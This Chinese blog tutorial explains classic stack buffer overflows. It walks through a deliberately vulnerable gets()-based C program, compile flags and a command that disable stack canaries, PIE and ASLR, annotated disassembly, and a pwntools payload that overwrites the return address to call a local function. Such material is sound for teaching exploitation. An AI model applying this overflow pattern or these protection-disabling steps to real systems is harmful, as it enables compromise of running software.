当前位置: 首页 > news >正文

栈溢出原理

文章目录

  • 前言
  • 一、基本示例
  • 二、分析栈
    • 1. 先不考虑gets函数的栈情况
    • 2. 分析gets函数的栈区情况
  • 三、利用栈
    • 1. 构造字符串
    • 2. 利用漏洞


前言

栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss 段溢出等溢出方式。


一、基本示例

最典型的栈溢出利用是覆盖程序的返回地址为攻击者所控制的地址,当然需要确保这个地址所在的段具有可执行权限

#include <stdio.h>
#include <string.h>void success(void)
{puts("You Hava already controlled it.");
}void vulnerable(void)
{char s[12];gets(s);puts(s);return;
}int main(int argc, char **argv)
{vulnerable();return 0;
}

这个程序的主要目的读取一个字符串,并将其输出。我们希望可以控制程序执行 success 函数

我们进行编译:gcc -m32 -fno-stack-protector stack_example.c -o stack_example -no-pie
编译器会警告gets函数,因为它是一个危险函数,从不检查输入字符串的长度。

gcc 编译指令中,-m32 指的是生成 32 位程序; -fno-stack-protector 指的是不开启堆栈溢出保护,即不生成 canary。 此外,为了更加方便地介绍栈溢出的基本利用方式,这里还需要关闭 PIE(Position Independent Executable),避免加载基址被打乱。

修改/proc/sys/kernel/randomize_va_space 来控制 ASLR 启动与否,具体的选项有

  • 0,关闭 ASLR,没有随机化。栈、堆、.so 的基地址每次都相同。
  • 1,普通的 ASLR。栈基地址、mmap 基地址、.so 加载基地址都将被随机化,但是堆基地址没有随机化。
  • 2,增强的 ASLR,在 1 的基础上,增加了堆基地址随机化。

echo 0 > /proc/sys/kernel/randomize_va_space 关闭 Linux 系统的 ASLR

利用 IDA 来反编译一下二进制程序并查看 vulnerable 函数 。

int vulnerable()
{char s; // [sp+4h] [bp-14h]@1gets(&s);return puts(&s);
}
                public vulnerable
.text:000011D8 vulnerable      proc near               ; CODE XREF: main+10↓p
.text:000011D8
.text:000011D8 s               = byte ptr -14h	; 在栈上分配一个名为 's' 的局部缓冲区,大小为 20 字节(0x14h)
.text:000011D8 var_4           = dword ptr -4	; 一个名为 'var_4' 的局部变量
.text:000011D8
.text:000011D8 ; __unwind {
.text:000011D8                 push    ebp	; 保存上一个栈帧的基指针
.text:000011D9                 mov     ebp, esp	; 为当前栈帧设置新的基指针
.text:000011DB                 push    ebx	; 保存 EBX 寄存器的值(调用者保存寄存器)
.text:000011DC                 sub     esp, 14h ; 在栈上为局部缓冲区 's' 分配 20 字节的空间
.text:000011DF                 call    __x86_get_pc_thunk_bx	; 获取指令地址,然后jmp
.text:000011E4                 add     ebx, 2DF0h	; 调用者改变 EBX 寄存器的值
.text:000011EA                 sub     esp, 0Ch		; 调用约定,清理栈
.text:000011ED                 lea     eax, [ebp+s]	;'s' 的地址加载到 EAX
.text:000011F0                 push    eax             ;'s' 的地址作为参数推入栈中,供 gets() 使用
.text:000011F1                 call    _gets		   ; 调用 gets() 读取字符串到 's'(存在缓冲区溢出风险)
.text:000011F6                 add     esp, 10h		   ; 调用约定,清理栈
.text:000011F9                 sub     esp, 0Ch		   ; 调用约定,平栈
.text:000011FC                 lea     eax, [ebp+s]	   ; 再次将 's' 的地址加载到 EAX
.text:000011FF                 push    eax             ;'s' 的地址作为参数推入栈中,供 puts() 使用
.text:00001200                 call    _puts   		   ; 调用 puts() 打印字符串
.text:00001205                 add     esp, 10h		   ; 调用约定,清理栈
.text:00001208                 nop
.text:00001209                 mov     ebx, [ebp+var_4]; 恢复保存的 EBX 寄存器值
.text:0000120C                 leave				   ; 清理栈帧(相当于 'mov esp, ebp' 后跟 'pop ebp')
.text:0000120D                 retn					   ; 从函数返回
.text:0000120D ; } // starts at 11D8
.text:0000120D vulnerable      endp

其实看汇编代码比较好理解点,如果有阅读障碍,建议出门右转C/C++学习中的函数调用机制和调用约定。

二、分析栈

我们只分析开始到gets函数调用完的栈。

1. 先不考虑gets函数的栈情况

未调用vul函数
在这里插入图片描述
调用vul函数,保存原来的EIP
在这里插入图片描述
PUSH EBP
在这里插入图片描述
MOV EBP,ESP
在这里插入图片描述
PUSH EAX
在这里插入图片描述
SUB ESP,14H

在这里插入图片描述
ADD ESP,OCH
在这里插入图片描述

PUSH EAX
在这里插入图片描述

ADD ESP,10H ,SUB ESP,0CH
在这里插入图片描述

2. 分析gets函数的栈区情况

那么我们从将s的地址赋给EAX开始分析。
在这里插入图片描述

然后调用 gets() 读取字符串到 ‘s’。这里要知道,缓冲区填充数据是由低往高地址增长。
而EBP到EBP-14H这块缓冲区域,在上面图,自然是从上往下填充数据的。

这就有个问题了,如果把EBP到EBP-14H这块缓冲区区域填充满,并继续填数据,会发生什么?
很自然,就是把后面的区域也给覆盖了。这就是所谓的栈溢出。

三、利用栈

1. 构造字符串

那么我们就知道如何利用所谓的栈溢出了。如果EBP开辟的局部变量区域,填充满,然后用双字填充EBP的保存地址,再用suceess的地址覆盖掉原来的返回地址。然后gets调用完,返回的地址就是suceess的地址。
在这里插入图片描述

那么我们要构造的字符串为:

0x14*'a'+'bbbb'+success_addr

当然如果是局部变量溢出的话,覆盖的顺序应该先为返回地址然后才是EBP。

局部变量区域是由ESP和EBP往高地址开辟的,而缓冲区是由ESP和EBP往低地址开辟的,有所区别。

2. 利用漏洞

我们可以通过 IDA 获得 success 的地址,其地址为 0x08049186。
在这里插入图片描述

这里稍微注意下,一般情况以小端存储,那么 0x000011AD 在内存中的形式为:

\x86\x91\x04\x08

在终端输入的时候 \x 等也算一个单独的字符。时我们就需要使用 pwntools 。

于是Payload如下:

##coding=utf8
from pwn import *
## 构造与程序交互的对象
sh = process('./stack_example')
success_addr =  0x08049186
## 构造payload
payload = b'a' * 0x14 + b'bbbb' + p32(success_addr)
print(p32(success_addr))
## 向程序发送字符串
sh.sendline(payload)
## 将代码交互转换为手工交互
sh.interactive()

相关文章:

栈溢出原理

文章目录 前言一、基本示例二、分析栈1. 先不考虑gets函数的栈情况2. 分析gets函数的栈区情况 三、利用栈1. 构造字符串2. 利用漏洞 前言 栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数&#xff0c;因而导致与其相邻的栈中的变量的值被改变。…...

Jmeter如何进行多服务器远程测试

&#x1f345; 点击文末小卡片 &#xff0c;免费获取软件测试全套资料&#xff0c;资料在手&#xff0c;涨薪更快 JMeter是Apache软件基金会的开源项目&#xff0c;主要来做功能和性能测试&#xff0c;用Java编写。 我们一般都会用JMeter在本地进行测试&#xff0c;但是受到单…...

2.slf4j入口

文章目录 一、故事引入二、原理探究三、SLF4JServiceProvider四、总结 一、故事引入 故事要从下面这段代码说起 public class App {private static final Logger logger LoggerFactory.getLogger(App.class);public static void main( String[] args ) throws Exception {lo…...

初学stm32 --- CAN

目录 CAN介绍 CAN总线拓扑图 CAN总线特点 CAN应用场景 CAN物理层 CAN收发器芯片介绍 CAN协议层 数据帧介绍 CAN位时序介绍 数据同步过程 硬件同步 再同步 CAN总线仲裁 STM32 CAN控制器介绍 CAN控制器模式 CAN控制器模式 CAN控制器框图 发送处理 接收处理 接收过…...

软件测试—接口测试面试题及jmeter面试题

一&#xff0c;接口面试题 1.接口的作用 实现前后端的交互&#xff0c;实现数据的传输 2.什么是接口测试 接口测试就是对系统或组件之间的接口进行测试&#xff0c;主要是校验数据的交换、传递和控制管理过程&#xff0c;以及相互逻辑关系 3.接口测试必要性 1.可以发现很…...

图论的起点——七桥问题

普瑞格尔河从古堡哥尼斯堡市中心流过&#xff0c;河中有小岛两座&#xff0c;筑有7座古桥&#xff0c;哥尼斯堡人杰地灵&#xff0c;市民普遍爱好数学。1736年&#xff0c;该市一名市民向大数学家Euler提出如下的所谓“七桥问题”&#xff1a; 从家里出发&#xff0c;7座桥每桥…...

嵌入式开发通讯协议大全(在写中)

目录 modbus RTU通讯协议&#xff1a; pmbus通讯协议&#xff1a; modbus RTU通讯协议&#xff1a; 主要应用功能&#xff1a; 规范了软件变量&#xff0c;访问功能码&#xff0c;给不同工程师开发的不同产品有统一的通讯标准 帧结构简单&#xff0c;占用带宽少&#xff0c…...

webpack 4 升级 webpack 5

升级至最新的 webpack 和 webpack-cli npm run build 报错&#xff0c; unknown option -p 解决方案&#xff1a; 改成 --mode production npm run build 报错 unknown option --hide-modules 解决方案&#xff1a;直接移除 npm run build 报错&#xff1a;TypeError: Cannot a…...

oneplus3t-lineageos-16.1编译-android9, oneplus3t-lineage-14编译-android7

oneplus3t-lineage-14编译-android7 1 清华linageos镜像 x lineage-14.1-20180223-nightly-oneplus3-signed.zip ntfs分区挂载为普通用户目录 , ext4分区挂载为普通用户目录 bfsu/lineageOS镜像 ts/lingeageOS镜像 oneplus3/lineage-build-simple-manual.md, manifest-p…...

HTML中最基本的东西

本文内容的标签&#xff0c;将是看懂HTML的最基本之基本 &#xff0c;是跟您在写文章时候一样内容。一般想掌握极其容易&#xff0c;但是也要懂得如何使用&#xff0c;过目不忘&#xff0c;为手熟尔。才是我们学习的最终目的。其实边看边敲都行&#xff0c;或者是边看边复制粘贴…...

<OS 有关>Ubuntu 24 安装 openssh-server, tailscale+ssh 慢增加

更新日志&#xff1a; Created on 14Jan.2025 by Dave , added openssh-server, tailescape Updated on 15Jan.2025, added "tailescape - tailscape ssh" 前期准备&#xff1a; 1. 更新可用软件包的数据库 2. 升级系统中所有已安装的软件包到最新版本 3. 安装 cur…...

神经网络常见操作(卷积)输入输出

卷积 dimd的tensor可以进行torch.nn.Convnd(in_channels,out_channels),其中nd-1,d-2对于torch.nn.Convnd(in_channels,out_channels)&#xff0c;改变的是tensor的倒数n1维的大小 全连接 使用torch.nn.Linear(in_features,out_features,bias)实现YXWT b,其中X 的形状为 (ba…...

25/1/16 嵌入式笔记 STM32F108

输入捕获 TIM_TimeBaseInitTypeDef TIM_TimeBaseStruct; TIM_TimeBaseStruct.TIM_Period 0xFFFF; // 自动重装载值 TIM_TimeBaseStruct.TIM_Prescaler 71; // 预分频值 TIM_TimeBaseStruct.TIM_ClockDivision 0; TIM_TimeBaseStruct.TIM_CounterMode TIM_CounterMode_Up…...

mac 安装 node

brew versions node // 安装 node brew versions node14 // 安装指定版本 卸载node: sudo npm uninstall npm -g sudo rm -rf /usr/local/lib/node /usr/local/lib/node_modules /var/db/receipts/org.nodejs.* sudo rm -rf /usr/local/include/node /Users/$USER/.npm su…...

mysql常用运维命令

mysql常用运维命令 查看当前所有连接 -- 查看当前所有连接 SHOW FULL PROCESSLIST;说明&#xff1a; 关注State状态列&#xff0c;是否有锁。如果大量状态是waiting for handler commit检查磁盘是否占满关注Time耗时列&#xff0c;是否有慢查询关注Command列&#xff0c;如果…...

正则表达式学习网站

网上亲测好用的网站&#xff1a; Regexlearn 这个网站可以从0开始教会正则表达式的使用。 mklab 包含常用表达式&#xff0c;车次&#xff0c;超链接&#xff0c;号码等提取。...

gradle,adb命令行编译备忘

追踪依赖(为了解决duplicateClass…错误) gradlew.bat app:dependencies > dep-tree.txt # 分析dep-tree.txt的依赖结构&#xff0c;找到对应的包&#xff0c;可能需要做exclude控制,或者查看库issueverbose编译(我一直需要verbose) gradlew.bat assembleDebug -Dhttps.pr…...

C++:工具VSCode的编译和调试文件内容:

ubuntu24.04&#xff0c; vscode 配置文件 C 的环境 下载的gcc&#xff0c;使用命令为 sudo aptitude update sudo aptitude install build-essential -f- sudo: 以超级用户权限运行命令。 - aptitude: 包管理工具&#xff0c;用于安装、更新和删除软件包。 - install: 安装指…...

SpringMVC Idea 搭建 部署war

1.创建 Idea项目 使用Maven模板 创建 webApp模板项目 2.导入依赖 <project xmlns"http://maven.apache.org/POM/4.0.0" xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation"http://maven.apache.org/POM/4.0.0 http://ma…...

YOLOv10-1.1部分代码阅读笔记-loaders.py

loaders.py ultralytics\data\loaders.py 目录 loaders.py 1.所需的库和模块 2.class SourceTypes: 3.class LoadStreams: 4.class LoadScreenshots: 5.class LoadImagesAndVideos: 6.class LoadPilAndNumpy: 7.class LoadTensor: 8.def autocast_list(source…...

IPFS去中心化存储实战指南:黑马程序员音乐播放器项目开发完整教程

IPFS去中心化存储实战指南&#xff1a;黑马程序员音乐播放器项目开发完整教程 【免费下载链接】BlockChain 黑马程序员 120天全栈区块链开发 开源教程 项目地址: https://gitcode.com/gh_mirrors/blockchain95/BlockChain 你是否想过如何构建一个真正去中心化的音乐播放…...

古戏台构件声学特性的时域有限差分方法【附模型】

✨ 长期致力于时域有限差分法、窑洞、戏台、八字墙、共形技术研究工作&#xff0c;擅长数据搜集与处理、建模仿真、程序编写、仿真设计。 ✅ 专业定制毕设、代码 ✅ 如需沟通交流&#xff0c;点击《获取方式》 &#xff08;1&#xff09;曲面共形网格快速生成算法&#xff1a; …...

2026 新视角:化妆品开发的底层逻辑,做好一款产品,从选对原料开始

在化妆品研发链条中&#xff0c;配方架构、生产工艺、包装设计固然重要&#xff0c;但决定一款产品上限的&#xff0c;永远是原料。一款稳定、安全、表现优异的护肤成品&#xff0c;离不开纯净、达标、批次一致的优质原料。对于品牌方、配方师、代工企业而言&#xff0c;原料不…...

终极免费方案:WandEnhancer完整解锁WeMod Pro功能快速指南

终极免费方案&#xff1a;WandEnhancer完整解锁WeMod Pro功能快速指南 【免费下载链接】Wand-Enhancer Advanced UX and interoperability extension for Wand (WeMod) app 项目地址: https://gitcode.com/gh_mirrors/we/Wand-Enhancer 你是否渴望享受WeMod Pro会员的所…...

基于Arduino与nRF24L01+的无线传感器平台设计与部署指南

1. 项目概述与设计思路如果你和我一样&#xff0c;喜欢在阳台或者小院子里种点蔬菜瓜果&#xff0c;那你肯定也遇到过这样的烦恼&#xff1a;出门几天&#xff0c;心里总惦记着家里的番茄苗是不是缺水了&#xff0c;小温室里的温度会不会太高。传统的温湿度计只能让你在现场读数…...

2026 文章代码高亮方案选型

将基于 Prism.js 或 Highlight.js 的传统高亮方案与基于 Shiki 的现代化高亮方案进行对比&#xff0c;其核心区别在于底层解析原理的不同&#xff08;正则表达式 vs. TextMate 语法树&#xff09;。 以下是两种方案的底层原理、各自优缺点、核心对比矩阵以及适用场景的详细分析…...

终极键盘重映射解决方案:3分钟实现职业级游戏操作精度

终极键盘重映射解决方案&#xff1a;3分钟实现职业级游戏操作精度 【免费下载链接】socd Key remapper for epic gamers 项目地址: https://gitcode.com/gh_mirrors/so/socd 在激烈的游戏对抗中&#xff0c;你是否曾因键盘按键冲突而错失关键操作&#xff1f;当同时按下…...

INT8量化下TVA注意力对齐精度保障方案

重磅预告&#xff1a;本专栏将独家连载系列丛书《智能体视觉技术与应用》部分精华内容&#xff0c;该书是世界首套系统阐述“因式智能体”视觉理论与实践的专著&#xff0c;特邀美国 TypeOne 公司首席科学家、斯坦福大学博士 Bohan 担任技术顾问。Bohan先生师从美国三院院士、“…...

Vue2-Verify:解决前端验证码安全性与用户体验平衡问题的技术方案实现

Vue2-Verify&#xff1a;解决前端验证码安全性与用户体验平衡问题的技术方案实现 【免费下载链接】vue2-verify vue的验证码插件 项目地址: https://gitcode.com/gh_mirrors/vu/vue2-verify 在当今Web应用开发中&#xff0c;验证码作为防止自动化攻击的关键安全组件&…...

基于晶体管逻辑的水箱自动控制器设计与实现

1. 项目概述&#xff1a;一个基于晶体管逻辑的自动水箱/湿度灌溉控制器 如果你也像我一样&#xff0c;曾经为家里的花园、阳台植物或者农村老家的储水塔手动开关水泵而烦恼&#xff0c;那么这个项目就是为你准备的。我设计并制作了一个完全自动化的水箱水位控制器&#xff0c;它…...